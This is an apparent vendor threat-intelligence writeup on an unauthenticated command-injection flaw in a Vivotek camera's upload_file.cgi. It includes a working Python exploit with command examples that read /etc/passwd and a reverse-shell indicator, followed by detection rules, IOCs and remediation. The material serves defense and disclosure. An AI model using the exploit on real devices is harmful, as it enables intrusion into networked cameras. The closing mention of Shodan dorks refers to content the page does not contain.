CVE-2024-26548
Executive Summary
CVE-2024-26548 is a critical unauthenticated remote code execution vulnerability in the Vivotek Network Camera model FD8166A running firmware version FD8166A-VVTK-0204j. The flaw resides in the upload_file.cgi component, which fails to properly sanitize user-supplied input, allowing an attacker to inject arbitrary operating system commands. With a CVSS score of 0.0 (placeholder), the actual severity is estimated to be critical (CVSS 9.8) due to network exploitability, no authentication required, and full system compromise. No official patch has been released, and the vendor has not acknowledged the issue publicly. Public proof-of-concept code exists, increasing the risk of widespread exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary embedded device firmware. Supply chain risk is limited to the device itself and its firmware distribution channels.
CVSS Breakdown & Threat Level
While the NVD CVSS score is listed as 0.0, a realistic assessment based on the vulnerability characteristics yields:
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): None (N) – no user action required.
- Scope (S): Unchanged (U) – vulnerable component only.
- Confidentiality (C): High (H) – full file read possible.
- Integrity (I): High (H) – arbitrary command execution.
- Availability (A): High (H) – can disrupt device operation.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)
Threat Level: Critical. Public exploit code exists, no patch available, and vulnerable devices are internet-facing.
Deep Dive & Mechanics
The vulnerability is an OS command injection in the upload_file.cgi CGI script. The script accepts file uploads via HTTP POST requests but does not properly sanitize the filename or other parameters before passing them to a shell command (likely cp, mv, or a custom upload handler). An attacker can inject shell metacharacters (e.g., ;, |, `, $()) into the filename or a related parameter to execute arbitrary commands with the privileges of the web server (typically root on embedded devices).
Root Cause: The CGI script uses a function like system() or popen() to handle the uploaded file, concatenating user input directly into the command string without escaping.
Attack Vector: Remote, unauthenticated HTTP POST request to /cgi-bin/upload_file.cgi with a crafted payload in the filename field.
Impact: Full remote code execution as root, allowing the attacker to:
- Exfiltrate video feeds and stored recordings.
- Install persistent backdoors.
- Use the device as a pivot point in the network.
- Disable the camera or modify its configuration.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be similar to:
// Vulnerable pseudo-code
void handle_upload() {
char cmd[1024];
char *filename = get_param("filename");
sprintf(cmd, "cp /tmp/upload %s", filename); // No sanitization
system(cmd);
}
A patched version would sanitize the filename:
// Patched pseudo-code
void handle_upload() {
char cmd[1024];
char *filename = get_param("filename");
// Remove shell metacharacters
sanitize_filename(filename);
sprintf(cmd, "cp /tmp/upload %s", filename);
system(cmd);
}
Or better, avoid shell execution entirely:
// Ideal patched code
void handle_upload() {
char *filename = get_param("filename");
// Use safe file operations
if (rename("/tmp/upload", filename) != 0) {
// handle error
}
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target: Vivotek FD8166A with firmware FD8166A-VVTK-0204j.
- Network access to the camera’s web interface (port 80 or 443).
- Python3 and
requestslibrary.
Exploit Code (Python):
#!/usr/bin/env python3
import requests
import sys
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <target_ip> <command>")
sys.exit(1)
target = sys.argv[1]
cmd = sys.argv[2]
url = f"http://{target}/cgi-bin/upload_file.cgi"
# Inject command via filename parameter
payload = f"test;{cmd};.txt"
files = {
'file': (payload, b'ignored', 'text/plain')
}
try:
r = requests.post(url, files=files, timeout=10)
print(f"Response: {r.status_code}")
print(r.text)
except Exception as e:
print(f"Error: {e}")
Usage:
python3 exploit.py 192.168.1.100 "id"
python3 exploit.py 192.168.1.100 "cat /etc/passwd"
Lab Setup:
- Use a vulnerable Vivotek camera in an isolated VLAN.
- Alternatively, emulate the CGI binary using QEMU (if firmware is available).
- Monitor with Wireshark to observe command injection.
Blue Team
Detection Steps:
- Monitor HTTP POST requests to
/cgi-bin/upload_file.cgiwith unusual filename parameters (containing;,|,&,`). - Look for outbound connections from the camera to unknown IPs (C2).
- Check for unexpected processes (e.g.,
bash,nc,python) running on the device. - Review logs for command execution errors (e.g., "sh: command not found").
Hunting Query (Splunk):
index=network sourcetype=http
| search uri="/cgi-bin/upload_file.cgi" AND method=POST
| rex field=form_data "filename=(?<filename>[^&]+)"
| where match(filename, "[;|&`$()]")
| table _time, src_ip, filename
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/cgi-bin/upload_file.cgiwith shell metacharacters in the filename. - Outbound connections from the camera to unusual IPs on ports 4444, 8080, etc.
- DNS queries to known malicious domains.
- HTTP POST requests to
File IOCs:
- Unexpected files in
/tmp/(e.g.,/tmp/.backdoor). - Modified
/etc/passwdor/etc/shadow. - New cron jobs in
/var/spool/cron/.
- Unexpected files in
Process IOCs:
- Running processes:
bash,nc,python,perl,wget,curl. - Reverse shell processes (e.g.,
bash -i >& /dev/tcp/...).
- Running processes:
YARA Rule (for firmware analysis):
rule CVE_2024_26548_upload_file_cgi {
meta:
description = "Detects vulnerable upload_file.cgi binary"
author = "Valters IT"
date = "2025-04-10"
strings:
$s1 = "upload_file.cgi" ascii wide
$s2 = "system(" ascii wide
$s3 = "popen(" ascii wide
condition:
all of them
}
Detection Engineering
YARA Rule (for network traffic or file analysis)
rule CVE_2024_26548_exploit_attempt {
meta:
description = "Detects exploit attempts for CVE-2024-26548"
author = "Valters IT"
date = "2025-04-10"
strings:
$http_post = "POST /cgi-bin/upload_file.cgi" ascii
$shell_meta = /[;|&`$()]/ ascii
condition:
$http_post and $shell_meta
}
Sigma Rule
title: CVE-2024-26548 Vivotek Camera RCE Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to upload_file.cgi with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/cgi-bin/upload_file.cgi'
filter:
cs-uri-query|contains:
- ';'
- '|'
- '&'
- '`'
- '$('
condition: selection and filter
falsepositives:
- Legitimate file uploads with special characters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-26548 Vivotek Camera RCE Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/upload_file.cgi"; http_uri; pcre:"/[;|&`$()]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Place Vivotek FD8166A cameras on a separate VLAN with strict firewall rules blocking inbound internet access.
- Disable CGI upload: If possible, remove or disable the
upload_file.cgiscript via device configuration. - Monitor logs: Enable detailed logging and alert on the Sigma/Suricata rules above.
Long-term Fix:
- Vendor patch: Contact Vivotek support and request a firmware update. As of now, no patch exists.
- Replace device: Consider replacing the camera with a model that receives security updates.
- Web Application Firewall (WAF): Deploy a WAF rule to block requests containing shell metacharacters in the filename parameter.
Workaround:
- If the camera supports custom ACLs, restrict access to the CGI endpoint to trusted IPs only.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.